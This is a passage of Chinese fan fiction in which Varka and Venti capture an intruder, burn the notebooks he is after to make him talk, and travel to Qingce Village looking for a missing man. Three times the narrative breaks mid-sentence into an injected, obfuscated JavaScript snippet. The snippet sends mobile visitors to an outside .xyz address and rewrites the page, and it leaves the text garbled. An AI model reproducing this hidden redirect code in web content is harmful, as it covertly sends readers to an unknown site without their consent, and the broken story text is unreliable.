那个黑影反应也非常快,面对飞身而来的法尔伽,他闪避及时,一看也是个中高手。 法尔伽的佩剑常年不离身,即便是休息时,也将剑放在随手可及的地方,为的就是应对突发情况。此刻他将剑一个刺出,却意外地被“当啷”一声挡住了。 ——对方手中也有武器。 从长度和触感判断,应该是短刀或者匕首。 法尔伽有着丰富的战斗经验,在狭窄的空间内,长剑被限制发挥,他需要尽快拿下对手。 那人见自己格挡力道不如法尔伽,手上马上卸力,脚步一转,从剑的左侧夺出,反手一划,就冲着法尔伽的面门而来! 然而法尔伽早一步预料到他的攻击,手腕一扭,将剑迎着对方的武器而去,又是“当——”的一声脆响,两人一触即分,霎那间又过了好几招,在清冷的月光下,兵器反射的金属光泽在屋内飞快地闪动着。 突然,那人注意到靠窗处还有另一个一动不动的人,便试图蹿出法尔伽用长剑限制他的范围,身体极度弯曲,而手臂和手腕同时发力,向前一甩,银色冷光直冲着温迪而来! 下一秒,那人则向着完全相反的方向,毫不恋战地向卧室门的方向扑去! 想跑! 法尔伽眉头一皱,手腕一甩,长剑同时跟出,立刻同样向着温迪飞去,两个眨眼的瞬息之后,长剑从侧面将匕首“铛——”地一声截住,再同时掉落在地! 同一时刻,法尔伽将木质床向前一踹,那堪称结实的木床就这么硬生生被他脚上的力气踢得飞速向前,瞬间就追上并越过了那人,“噔”地一声紧紧抵住了房门;而他本人迅速回身,两个踏步后,在靠近自己一侧的床沿起跳,瞬间扑向那个不速之客! 没有武器的两人瞬间赤手空拳地搏斗起来,法尔伽一手摆在面前防护,另一拳猛然挥向对方,而那人反应也很快,马上将身体歪向另一边,脚步一错,就朝着法尔伽的腹部袭来,法尔伽闪身下蹲,一个横扫,踢中了那人一脚! 但那人硬生生吃下了这个攻击,身型丝毫未动,转而抡起拳头,对着法尔伽的方向猛砸! 千钧一发之际,金属的破风声袭来,刻进法尔伽骨子里的战斗意识和对佩剑的熟悉让他几乎是下意识向前一翻,右手一抬,就接住了空气飞来的长剑。 腿部力量一瞬爆发,法尔伽一个箭步,贴身上前,再下一秒,那人的咽喉处便多了一抹寒光——是法尔伽的剑尖。 “啪——”的一声,屋里的灯被温迪打开了。 “来找笔记的吗?” 法尔伽悠悠地说,“等你好几天了。” * 人是温迪自告奋勇绑起来的。 来接他们的小型飞行器很快就到了,温迪和法尔伽面对面坐在飞行器白色座椅上,又看了眼陷入安眠的,丝毫没意识到发生了什么的整栋公寓楼。 虽然才几天,他居然生出了一丝丝舍不得的情感? 这合理吗,他可是漂泊四方的吟游诗人啊。 法尔伽看着他,仿佛知道他在想什么,“以后有机会,还可以做饭给你吃。” 温迪一怔,他脸上的惆怅表现得这么明显,已经被法尔伽看出来了么? 他立刻笑着说:“好呀好呀。” 半夜来开飞行器的是安柏,她忍不住回头问:“什么吃的,大团长要做什么吃的?!” 法尔伽咳了一声,“安柏,说过多少遍了,开飞行器的时候不能这么三心二意——” 温迪听着法尔伽手忙脚乱的回应,又看着被五花大绑,丢在飞行器角落的男人,心情轻松了不少。 * “不趁胜追击,连夜审问吗?” 听到消息的凯亚,在降落的飞行器门口拦住了法尔伽。 “欲速则不达,”法尔伽拍了下凯亚的肩膀,“我能明白你的心情,但先将他看管起来,晾到明天,再问不迟。” 凯亚想了一下,知道法尔伽必定有自己的打算,只得不太情愿地说:“好吧,那我来看守他。” 看着凯亚眼底的乌青,法尔伽本想和他说用不着,让他回去休息,但对上对方坚毅和恳求的神色,只说了句,“好,你注意身体。” 凯亚点了点头,步伐越过法尔伽,将人从飞行器押到了西风号内。 “这下你不用和我挤一张床了。”法尔伽看着离开的凯亚,随口和温迪开了句玩笑。 温迪则不知道在想什么,他也直直看着凯亚离开的方向,没有回应法尔伽的这一句话。 “怎么了?”法尔伽关切问道,“你应该没受伤吧?” 温迪这才摇了摇头,“没有。” 想了一下,温迪又补充道:“有大团长你在场,我怎么可能有事嘛。” 法尔伽笑笑,“虽然是对我的夸赞,但我还是希望你——或者说西风骑士团的每位成员,都能不要这么想。保护自己才是第一要务,无论现场是谁,都不要过于依赖他人,放松警惕。” “明白了。”温迪说:“第一次近距离看大团长打架,当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15966411|177742||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时我整个人都被大团长的飒爽英姿吸引了,别的还是欠考虑了啊。” “或者……”法尔伽认真道:“你也可以学一点基础的,必要的防身术?格斗术?” 温迪的脸上立刻显出抗拒的神色,“啊,这么晚了,真是好困啊……”他这么说着,马上就打起了哈欠,“嗯,我先去睡了,大团长也早点休息,晚安!” 然后人就一溜烟地跑了。 法尔伽看着他跑得比兔子还快的身影,无奈地笑了。 * 从被抓到第二天,半夜潜进房里的男人一个字都没有开口。 “一晚上没睡,还是这样。”凯亚给法尔伽这么汇报。 “再等等。”法尔伽说,“等到今天晚上,他又困又饿之时,正是精神最薄弱的时候,我们再去。” 凯亚明白,自家大团长是一位恪守底线的佣兵,绝不会突破法律,作出私刑审问的事来,哪怕那样效率更高。 ——这也是为什么他心甘情愿地一直待在西风骑士团。这里的人和事都与他三观相符,所以才能成为晨曦酒庄之外,他的第二个归宿。 到了夜里,凯亚将人从暂时关押的地方拎到了团长办公室。 而那里,除了大团长法尔伽,还有温迪。 “聊一聊?”法尔伽对着沉默不语的人,开始了第一句话。 “至少告诉我们你叫什么吧——代号也行,不然就给你起外号了?”法尔伽把话说得,近乎是在逗弄对方了。 那人仍是沉默着,连头都没有抬一下。 “好吧,既然你不反对,那就是同意了。嗯……”法尔伽的目光在对方的身上打量着,“就……就叫你翻窗的吧。” 那人身体僵了一下,似乎在努力忍住反驳几句或者翻白眼的冲动,但最终只是晃了晃身形,就不动了。 “这样我们称呼你就方便多了。”法尔伽笑了一下,转而神情严肃道:“介绍一下,我们是佣兵。这里是我们的飞艇基地。 被叫做翻窗的那个男人,颇感惊讶地抬起头,第一次直视起法尔伽来。 “你知道的,想让你开口,佣兵们有很多自己的办法。不过……我想我们还没到水火难容的地步,”他轻松地说着,“笔记可以给你,本来那也不是我的东西——只要你能告诉我,老特纳在哪里。” 凯亚震惊地转过头来。 法尔伽目不斜视,“我想你可能不知道,我并不是偶然住到那里的,而是因为接到了任务。有人出钱让我们找到老特纳——至于你们是谁,以前干过什么,以后要干什么,没人委托我们,和作为佣兵的我们毫无关系。” 他说完了这一通话,不意外地看到翻窗的脸上出现了一丝动摇。 凯亚脸色微微发白,他刚想说点什么,却突然注意到温迪抿着嘴唇,对他轻轻摇了摇头。 凯亚很快反应过来,往后退了退,只仔细观察起被绑之人的面部表情来。 法尔伽沉声道:“你不就是来找笔记的吗?互惠互利,我们拿了悬赏金,你也好回去交差,何乐而不为呢?” 说完,他将双手交叠着,胳膊抵在办公桌上,是一个放松且充满掌控的姿势。 那个一直沉默的男人这次终于开了口,他的嗓音低沉且沙哑,“……别叫我翻窗的。” 所有人没想到他开口的第一句是这个,法尔伽挑了挑眉,有些想笑,但是他只说:“你配合的话,可以。” 12. 第12章 “原来你们是盖伊的队友。”那人边下结论边审视着办公室的环境,以及屋里除了他以外的三人,“这倒是疏忽了,还以为世界上没人再会找他。” 法尔伽听了,知道对方误会了,便顺水推舟地默认。 “笔记给我,我可以告诉一些你们想知道的事情。”那人话说得很奇怪,明明都是通用语,但就是带着一股子艰涩,让人听着很不舒服,“不过我得先验货。” 法尔伽点了点头,“恕我直言,你见过那些笔记么,怎么判断真假?” 那人从沙哑的嗓子挤出一声笑,“不劳你费心,我自有办法。” “好的。”法尔伽礼貌地说,然后他转向温迪,“麻烦你去里面,拿一下我卧室里放在最顶层书架上扎在一起的那一摞笔记——哦,如果够不着的话,可以用旁边的凳子。” 温迪扯了扯嘴角,脸上挂着个尴尬而不失礼貌的微笑。 但是,分得清此刻主次轻重的他,人还是忠实地按照法尔伽的指示,往办公室另一侧的小门走去——那后面就是法尔伽的卧室。 “既然已经达成一致意见,就不用这么绑着我了吧?”那人看温迪进屋去了,说了一句。 法尔伽点头称是,手挥了一下,指了指那人的手臂,示意凯亚只将那里的绳索解开。 凯亚不情不愿地走了过去,很粗暴地把对方手上的绳子拽开了。 那人第一件事就是活动手腕,因为腿被绑着,人仍是坐地上没动,只目光沉沉地看着法尔伽,似乎想从他那张带笑的脸上,判断他是否可信。 很快,温迪捧着那摞笔记回来了,他径直走到那人身前,将东西放了下来。 “你看吧。”法尔伽轻描淡写地说。 面容阴冷的男人盘起了腿,开始挨个翻面前的老旧笔记。 法尔伽则坐在办公桌后,悠闲地喝起咖啡来。 过了许久,将所有笔记翻过一遍的那人才缓慢地开口道:“……这些笔记是真的。” “我说了,佣兵是很坦诚的。”法尔伽放下咖啡杯,微微笑道:“那么现在轮到你来展现诚意了。” 那人沉默了片刻,还是用略显喑哑的嗓音道:“可即便能确认笔记的真伪,也不代表你们会轻易地让我带走它们。” “很合理的怀疑。”法尔伽一点都没生气,“不过,眼下你人在我们这里,除了接受这个交换条件,你还有别的什么好办法么?” 那人也笑了一声,“我可以什么都不说。” “哦,那我们只能破罐子破摔,在你面前将笔记毁掉了。”法尔伽面露遗憾地说,“既然你并不想要,或许烧掉几本,你就能感受到我们的坚持?毕竟这些东西在我们这里毫无价值,但看在你们费心费力,通过老特纳的儿子也要找到这些笔记的劲头来看,大概并不想看到这个结局吧?” “哈。”那人短促地笑了一声,“你们毁不掉这些笔记,不信可以试试。” “哦?”法尔伽心念电转,一向谨慎的他猜测,这人可能并没有在虚张声势。涉及到黑魔法,搞不好真的存在什么难以理解的东西,但他表面上还是非常沉得住气,“我确实不信。嗯,就随便找个我们佣兵团跑腿的新人来处理一下吧。” 说着,他将目光投向了温迪。 温迪一脸“真的要交给我?”的迷茫表情,但对着法尔伽那张笑脸,他最后还是选择了配合,“好吧,我知道了团长。” 言毕,他便走向办公室的大门,打开后,一溜烟地跑了。 凯亚很困惑,不知道他究竟干什么去了——事实上,他觉得其他人可能同样没想明白。 在办公室无人开口的气氛中,时间一点一滴地过去。 直到门口再次传来丁零当啷的声音,胶着的空气才仿佛有所软化。 几人往外一看,温迪手上正抱着一个不知道从哪里找来的金属大桶。 他嘿嘿笑了一下,把桶放在办公室正中间。 在凯亚满头问号的目光中,温迪道:“这样烧起来安全点。” 坐在地上的那人无所谓地耸了耸肩,意思是随便你们折腾。 法尔伽正在思考,是不是可以借用阿贝多的神奇药水。只见温迪很快从地上取了最上面的一本黄褐色笔记,扔进了桶里,又随意地在法尔伽办公桌上找到一叠白纸,用点火器点着了,也丢进了桶里。 “感觉好像小型篝火啊。”温迪的脸被那火焰映得泛出金黄色的光晕,“如果不是不合时宜,我很想在此刻吟唱一首关于火焰的诗歌呢。” 那个坐着的人只扫了一眼桶里的情况,见着那金红色的火苗似乎越来越小,便再无担心地将目光投向别处。 凯亚走上前来,他低头往里一看,表情立刻变得很惊愕—— 燃烧的纸团旁,那本黄褐色封面的笔记竟然丝毫未受到影响,就这么安安静静地躺在桶底! 他猛然想到眼前这人笃定地说“你们毁不掉这些笔记”,难道潜藏着邪恶力量的物品,是无法通过普通的方式进行物理消灭的吗? 凯亚顿觉心惊胆战,抬头看向了法尔伽。 法尔伽似乎也发现了这个情况,眉头紧紧皱着。 正在这时,温迪不知从什么地方掏出那把他不离身的里拉琴——斐林,开始轻轻弹奏并唱起了什么。 但非常奇怪,明明能看到温迪的嘴巴在动,距离也算不上远,可凯亚就是听不清温迪唱了什么。 难道真如他先前自己所说,是赞美篝火的诗篇? 等凯亚再次回过神来,温迪已经将琴收起,一切仿佛都是他的一场幻觉。 “我去开下窗户,”温迪跑向一旁,“在屋里烧东西,会产生空气污染的吧。” 凯亚茫然地望了下金属桶,那几乎只是下意识的行为,但——和他之前看到的,火焰只能围绕着笔记不同,这一刻的功夫,古旧的笔记本已经被火焰舔舐得只剩一个角了! 凯亚立刻抬头望向法尔伽,发现大团长也是一脸的凝重。 “都成灰了。”返回的温迪看了一眼,如此说着,然后,像是再普通不过地和上级汇报工作一样,他说:“冲到马桶里就可以吧?” 坐在地上的阴郁男人不以为意地抬了下头,好像是不屑于批判温迪拙劣的演技,但鬼使神差的,他也向桶里望了一眼,就这一眼,就让他像发了狂似的,往前冲了过去! 因为腿被绑着,他一下子摔倒在地,但他手部是自由的,因此立刻直起身子,努力向前爬去,等到了桶前,他竟直直将手伸进仍然滚烫的金属桶内,不顾一切地开始扒拉桶底的灰烬! “没有,真的烧没了……”他神经质地喃喃自语,脸上的表情显得茫然又疯狂,半晌,他突然恶狠狠地对着温迪说:“是你,一定是你!玩的什么移花接木的把戏,你刚刚放进去的,根本不是真正的笔记!” “我是吟游诗人,可不是魔术师或者小丑。”温迪不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15966412|177742||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满地说着,“正好这里还剩好些本,这次你来放,我来烧,总可以了吧。” 末了,温迪又评价道:“真是奇怪的人呐。” 那人气得全身都在发抖,似乎下一秒就要扑过来掐住温迪的脖子。这时,法尔伽咳嗽了一声。 “怎么样,还想继续实验吗?我们这边倒是可以奉陪,无非就是和后勤部多申请一些引燃的废纸罢了。” 他走到温迪身前,用高大的身型,隔开了那个想要暴起之人和温迪之间的距离。 那人看了看法尔伽,又看了看那个已然熄灭的桶,最终,他的目光扫过了地上摊开的笔记本,在努力深呼吸几次之后,他终于开口了。 “我叫库博,我必须带回那些笔记。” 他的脸上终于显出颓唐的神色来。 * “这些笔记对我们来说毫无价值,你也看到了。”法尔伽又强调了一遍,继续给他心理暗示,“给你或者烧掉,对我们来说都是一样的。” 自称库博的男子脸上仍残留着迷茫和痛苦,他缓缓道:“我只知道盖伊。” “那也是重要线索。”法尔伽道:“你说说看。” 库博迟疑了一下,他几乎是一个字一个字地说:“盖伊……他身体受损,接受了全面的改造治疗。现在人已经不在蒙德了。” 法尔伽道:“但是警察联系过盖伊。” 库博愣了一下,显然是没想到佣兵们掌握的信息还不少,犹豫了一下,才接着说:“他的东西都在我们这里,包括通讯器。” 凯亚冷不丁地插了一句,“‘你们’是谁?” 库博看了看凯亚,又看了看法尔伽,“你们只是要知道人员的去向,不需要了解我们组织的信息。” 法尔伽同意了:“是的,你接着说。” 库博表情很坦荡地说:“我说完了。” 凯亚几乎被气笑了,“你说盖伊人不在蒙德,通讯器又实际掌握在你们手里,那我们怎么才能联系得上他,知道你不是在说谎呢?” 库博沉默了一会儿,才说:“我说的是实话。你们无法验证,那不是我的问题。” “那我再补充几个问题。”法尔伽看着面色不悦的凯亚,接过了话头,“这对我们找人很重要。” 库博抬起眼,看了法尔伽一眼,闪烁的目光中,似乎在判断对方和自己的实力差距。就这么僵持了十几秒,他忽的叹了一口气,说:“我先听听问题。” 法尔伽寸步不让,目光锐利地看向库博,“首先,盖伊是怎么和你们组织产生交集的?他只不过是一个新人佣兵而已。” 看表情,库博在心里权衡了好一会儿,才说:“组织和他接触不多……让我想想,他应该是一年多前才进入我们的视野的。” “为什么,因为他父亲持有这些笔记?”法尔伽问。 “不。”库博立刻否定了,“我们刚开始并不知晓这些……盖伊受了很严重的伤,就现有的医疗水平,他无法恢复到从前当佣兵的状态,因此他来寻求我们的帮助。” 法尔伽动了下眉毛,“保险公司?” 库博再一次惊住了。 “你们到底知道多少?”他的脸色很是阴沉,“该不会其实你们全都知道,在这耍我玩吧?” 法尔伽轻轻扫他一眼,“我们没那么无聊。只是偶然得知,盖伊住院的时候,那个保险公司的人多次去找他。我们猜的没错,他果然是另有目的。” 13. 第13章 库博冷笑一声,说:“是么。” 法尔伽立刻追问,“盖伊寻求你们什么帮助,他卖房子和你们有关?” 库博幽幽一笑,反问道:“你还查到了什么?” 法尔伽也笑,说:“我还知道你们信仰七神之外的存在。” 这句话宛如平地惊雷,炸得凯亚都下意识往后退了一步,眼神在法尔伽和库博身上转了好几个来回。 库博的表情从惊讶转为狠厉,他说:“你知道了不应该知道的事情。” 法尔伽轻松一笑,“我该不该知道,只和我赚钱有关。赚钱需要知道,我就应该知道,你不用想太多。” 库博的五官紧紧皱在一起,仿佛想在混乱的思绪中找到当下最好的应对方法。最后,他放松地往后一靠,好像就这么放弃了抵抗。 “他自愿成为我们的实验对象。”库博调整着手臂的位置,好让自己更舒服一点,“虽然你们大概率不会信,但我们从不会做强人所难的事情。盖伊……他就是自愿的。” 法尔伽眼神深沉,“你们在做人体实验?” 库博深色的眸子一翻,说:“关于这个,无可奉告。” 法尔伽自知可能已经触及到了这个隐秘组织的核心,而这已经不是威逼利诱就能从眼前这人口中撬出来的内容。 他便调整了方向,以使这段对话不会因为情绪对立而彻底中断,“既然你们还掌握着盖伊的通讯器,他对你们应该还是重要的,否则他的下场就只是自生自灭。” 库博沉默着,不置可否。 “所以,你们肯定掌握着他的去向。” 法尔伽下了结论。 库博嘲笑地哼了一声,朝着法尔伽道:“你不是说你们的任务是找特纳么,即便找到了他儿子,也不算完成任务吧。” 法尔伽淡淡一笑,说:“你是担心我们在盖伊那里问不出老特纳的下落?” 库博还是那副油盐不进的模样,没有回答。 正当两人对峙的时候,一旁又响起了金属桶碰撞的声音。 几人往声源处一看,发现是温迪拎着桶,将剩下的所有笔记都往里丢。 库博顿时脸色大变,“你……你要干什么!” 因为情绪激动,他甚至腾的一下站了起来,只是因为腿上还被绑着,差点一个踉跄摔倒。 “没什么,就是感觉合作要破裂了,我提前处理处理这些用不着的垃圾啊。”温迪笑嘻嘻地说。 库博发狠道:“放下!” “你不是说烧不掉吗?”温迪手里摇晃着一本笔记的封皮,将它转出了360度,“对付一团纸,办法可多得是——火啊,水啊,雷啊,冰啊,甚至一阵风,都足以让它灰飞烟灭。” 库博的表情越发狰狞,他狠狠瞪着温迪,最后咬牙切齿地说:“你们去找吧,找到了也没用。” “有没有用是我们的事。”法尔伽站到了温迪身边,“你带着我们找到他,笔记给你。” * 根据库博提供的信息,法尔伽带着一小队人来到了璃月的轻策庄。 璃月是离蒙德最近的星球,得益于高速发展的空间跃迁技术,从蒙德到璃月,根据飞行器航力的不同,旅程缩短到了3-5天,这在几百年前看来,简直是不可想象的方便快捷。 轻策庄位于璃月的最北部,是一个不怎么起眼的,宁静平和的村庄。 望着高低错落,一片田园风光的景致,凯亚皱着眉头发问:“人真的在这里?” 库博看了眼同行的其他几个佣兵,深知自己被看得很紧,故而一路上都不曾试图逃跑。 “是的,他就在这村子里。” 法尔伽对其他几人道:“琴,你们负责看守,留在飞行器上。我去找下村里的话事人。” 琴点头,“放心。” 这次出来,法尔伽一共调了团里除他以外的五名成员,对于一个找人任务来说,人员配置已经相当充分。 法尔伽在村口问了个小孩,那个孩子给他指了村长家的路。 结果他一转头,就看到了正在悬崖边上采摘什么的温迪。 “……” 法尔伽生怕自己一个出声惊吓到他,产生什么不好的后果——他屏住了呼吸,直到看到温迪成功摘下了东西,向自己这边走来。 还没等法尔伽发问,温迪先把手里的东西举起来给他看:“绝云椒椒,很漂亮吧。” “这是什么?”法尔伽哭笑不得地问,“我记得它就是个做菜的食材吧?” “这可是只在轻策庄生长的植物呐,蒙德可没有。”温迪看着那红色花朵般的果实上,闪烁着太阳的光芒,嘴角弯起笑意。 “你来过这里?”法尔伽一边朝前走,一边问着,已然把温迪为什么跟出来的问题抛到了脑后。 “吟游诗人自然是去过许多地方的。”温迪笑着说。 “吟游诗人也知道许多旁人不知道的事情。”法尔伽走上了吊桥,没忘记回过头用眼神示意温迪要当心。 温迪笑眯眯地接话:“……及诗歌。” 法尔伽看他神色如常,止住了现在刨根问底的冲动。 或许,等时间合适的时候,他自己会开口? * 两人又步行了一段距离,轻策庄依山傍水,自然风景极佳,然而唯一的缺点便是交通不便,只能靠两条腿硬走。 转过一个弯,一栋古朴的中式木质房屋便出现在道路一旁。 对于习惯了现代科技建筑的法尔伽来说,猛然见着这类型的房子,好像是他本人穿越进了一幅画里似的。 大门是敞开着的,但目光所及之处并没有人。二人站在门口,仍是礼貌地敲了敲门。 敲了三次之后,从大门内传来一个声音,“谁呀?” 一个老妇人走了出来。 见门口站着的两个衣着打扮都和轻策庄其他人格格不入的人,那老妇人诧异了一下,才说:“你们找谁?” 法尔伽行了一礼,说:“您好,我们是来找村长的。” “哦,你们找老头子。”那老妇人看起来有点疑惑,“他在前头田里帮村口的老李家治虫子呢,还没回来……你们找他什么事,老太婆看你们有点眼生呐。” 法尔伽说:“我们是来找人的,从蒙德来。” “哦,蒙德……蒙德是个好地方,我知道蒙德。年轻的时候,老婆子我也去过蒙德……想想看,你们的穿衣打扮确实和那边很像……哎呀,都过去这么多年了,岁月不饶人啊……” 眼见面前的老婆婆陷入了自顾自的回忆,为了任务,法尔伽只得硬着头皮打断道:“可以问下,村长还有多久才回来吗?” 村外飞行器上还有个不稳定因素存在,法尔伽现在只想尽快找到盖伊,将人带走。 那老妇人充满皱纹的眼睛眨了眨,露出为难的神色,“不好说啊,早上就去的,快的话也要回来了,要是不顺利的话,搞不好要到午饭后。” 说完,她露出抱歉的神色,“如果很要紧,我就去喊他,要是不怎么急,你们就在这里坐一坐,我给你们倒点茶喝吧。” “婆婆,”温迪走近了一些,说:“是我伯伯家的儿子走丢了,他很着急,才拜托我们来的。” “哎呀,怎么人会丢了啊,”老妇人感同身受地难受起来,“既然是这么重要的事,我这就去找老头子,你们等等。” “我们和您一起去吧。” 温迪的笑容很治愈,老妇人不自觉地就对他产生了好感,甚至连赶路的时候,都走在温迪的身边,想和他多说说话。 轻策庄地势有点复杂,占地面积却不是太大。有了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15966413|177742||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老妇人带路,约莫一刻钟的功夫,走在最前列的法尔伽就看到了远处农田里忙碌的几人身影。 老妇人有着和她年纪完全不符的体力,她步速很快,脸不红心不跳,一看就是在乡间走惯了的,“老头子,有人找你!” 老妇人几乎是对着地里喊的,经她这么一嗓子,田里好几个人都抬起头来。 老妇人给温迪指了指,“看到了吗,还在那弯着腰看地的就是我家老头子,他耳朵不好。” 温迪“啊哈哈”地笑了笑。 见人没反应,三人更是干脆快步走进了地里,老妇人用手拍了拍一个略显佝偻的背,正是先前她指给温迪看的那人。 上了年纪的人反应略有些迟钝,他茫然地抬起头来,看见了老妇人,才道:“……你怎么来了?” 那老妇人见他浑身沾满了泥土,自然而然地为他掸了掸,没耽误和他说正事,“不是我找你,是这两位……唔,来自蒙德的小伙子,说来找走丢的人,要来问问你情况。” “找人啊?”听见有正事,村长暂时放下了手里的泥块,对着其他人挥手打了个招呼,示意自己先忙点别的事,“轻策庄几乎都是留下来的老人和小孩……你们要找谁啊?” 法尔伽立刻加大了音量回答:“我们在找一个叫盖伊的人,他来自蒙德,年纪在20岁左右。” “不是我们这的人啊?”看村长的表情,他正在努力调动自己的记忆,“最近……没有这样的人呐。” “您再帮我们想想,真的没有吗?”法尔伽眼见线索要断掉,又恳求了一句。 村长皱着眉头,又想了半天。 “我们这里,家家户户的人都是认识的,但凡外面来个谁,马上村里都传开了。”老村长解释道:“不信的话,你再问问我这个知道各家家长里短的老婆子。” 老妇人听了这话,脸上虽然还微微笑着,一只手却伸过去掐了村长的胳膊一下,“哎呀,老头子你在说什么,我是那么无聊的人吗。” “那你说有没有嘛。” 很满意自己有出场机会的老妇人努力思考着,半晌之后,她才遗憾地表示:“确实……没有。” 法尔伽没让失望的神色外露,他仍是绅士的模样,说:“好的,我们会继续寻找的,谢谢。” “不好意思啊,没帮上忙。”老村长淳朴的脸上有些内疚,正当法尔伽表示是自己这边添了麻烦之时,他突然看到了老妇人身边站着的温迪。 “咦?”他下意识发出了疑惑的声音。 “干啥?”老妇人问他。 “应该是我看错了吧。”老村长用手背揉了揉眼睛,“怎么感觉我好像之前见过你似的……” 他对着温迪说。 温迪微微怔了一下,不由自主地看向法尔伽。 后者正以一种看戏的神色望着他。 “见过我?”温迪挠了挠头,“您是去过璃月吧?我可去过璃月港好多次,是在那里看过我的表演,对吧?” “嗯?”老村长嘟囔着,“奇怪,是在璃月吗,我怎么记得是很多很多年前,我还是个小孩的年纪……” 他抬头,看见温迪笃定确认的目光,老人开始怀疑起自己的记忆来,“应、应该是吧。” “以后有机会的话,我也想来轻策庄表演哦。”温迪拿出斐林,随手拨了几个音,那琴音立刻飞起来,融入轻策庄的山林和天空中去了。 “那太好了,欢迎你来。”没等村长说什么,老妇人立刻握着温迪的手,满眼的欣喜。 “这次还有别的事,下次约好了。”温迪也回握着老人粗糙但温暖的手,笑容满面地说道。 * 二人告别了两位老人,沿着来的路径往回走。 “人不在这里。”温迪有点无精打采,“回去揍那个库博一顿?” 14. 第14章 法尔伽没有说话,看着远处的瀑布,有点出神。 “怎么,”温迪反应很快,“难道……你怀疑村长夫妇没有说实话吗?” “不对,”他立刻自己否定了,“他们没必要做这种事,而且他们身上也没有异教徒的感觉。” 说完,温迪又笑了,“要说最不可能出现异教徒的地方,非岩王帝君——摩拉克斯的璃月莫属了吧。” 法尔伽偏头看了他一眼,没有就这个问题进行深入讨论。 温迪很能自娱自乐,在进入一片路边看见的竹林后,他惊讶地发现地上长满了竹笋,便兴高采烈地研究起怎么拔一颗带走了。 法尔伽看着他蹲下去的背影,脑海中一闪而过刚才村长的话。 正在这时,小孩的嬉闹声由远及近,再一抬头看时,几个圆滚滚的小娃娃就出现在了竹林的另一边。 “小六!你又不和我们一起玩!” 一个属于小男孩的不满抱怨声第一个传来。 “就是,就是,我们的璃月天王战队——轻策庄分队都要人数不够而解散了啦!” 另一个小女孩的声音立刻跟上。 再然后,几个叽叽喳喳的声音叠在一起,法尔伽无意识地听了几耳朵,都是在批判“小六”不团结的。 等几个小娃娃说累了,又过了一会儿,才响起另一个犹豫的声音,“我……我不是不和大家玩儿了,我只是……只是最近比较忙,我有别的事……” “你能有什么事呀,你爹妈又没叫你干活,我都知道!”最开始的男孩子气鼓鼓地说,“你是不是有什么事瞒着我们呀,是不是自己找到好玩的地方没叫我们呐!” 此话一出,凑在一起的几个小孩几乎是炸开了锅,七嘴八舌的声音更甚先前——就在他们的声音大到连法尔伽都不得不停下思绪,去关注他们在干什么之时,一个熟悉的嗓音响起了。 “你们好呀,是在玩吗?” 是不知什么时候就从竹笋旁移到这群小孩身边的温迪。 “你是谁?”看起来胆子最大的男孩子往前走了一步,对着温迪发问。 “我是游历世间的吟游诗人,今天偶然路过轻策庄,发现这里山清水秀,真是个好地方呐。” 几个小孩互相看了一眼,有人问:“吟游诗人……是干什么的?” 温迪笑了笑,他不知从哪里掏出里拉琴,手指轻盈拨动间,演奏了一小段,结束之际,他还像模像样地鞠了一躬。 “就是到处唱歌的哦。”温迪回道。 几个孩子都呆呆地看着他和手中的里拉琴。 “哇,大哥哥,你这个是什么呀,我从来没见过,真好听!”看到新奇的物件,被引爆好奇心的小孩群体里已经没人再怕他,纷纷围上来,一脸羡慕地想要去摸摸那个美丽的乐器。 “这叫里拉琴,是很传统的乐器哦。”温迪介绍着,毫不吝啬地将琴递了出去,“呐,给你们看。” 几个小孩完全没想到对方会这么大方,纷纷一脸惊喜地排好队,挨个上去摸一摸,胆子再大的,还学着温迪拨动琴弦。 温迪笑了笑,他的斐林并非凡物,莫说几个小孩,就是有成年人特地来破坏,也休想给它造成丝毫损伤。 他走向了那个唯一没有去摸琴,表情有点焦虑的,名叫小六的女孩。 “你不想加入他们吗?”温迪走到小女孩的身边,温柔地开了口。 “我……”小六犹豫地往小孩聚集的人堆看了一眼,说:“让他们玩吧,我……我没关系……” 她那明显心不在焉的模样让温迪起了疑心,他半蹲下身子,平视着小六,说:“你是不是有什么烦恼?” 小六垂着头,听到这话,有点慌张地回道:“没、没有啊。” 温迪笑笑,说:“如果小朋友有什么搞不定的事,求助大人是天经地义的哦。” 小六圆圆的脑袋晃了晃,温迪看不清她的表情,转而和远处的法尔伽对视了一眼。 温迪看法尔伽的表情,那意思很明显,他们等一会儿跟着她,看看能不能有什么发现。 温迪则微不可闻地摇了下头,又指了指自己,用嘴型说:看我的。 随后,他保持着半蹲的姿势,这一次,他刻意压低了声音,“那边有个人一直在跟踪我,你能帮我甩掉他吗?” 小六这才抬起头来,忍不住惊呼出声,“啊?” 温迪赶紧将眼中的笑意收回,做出一副焦急的模样。 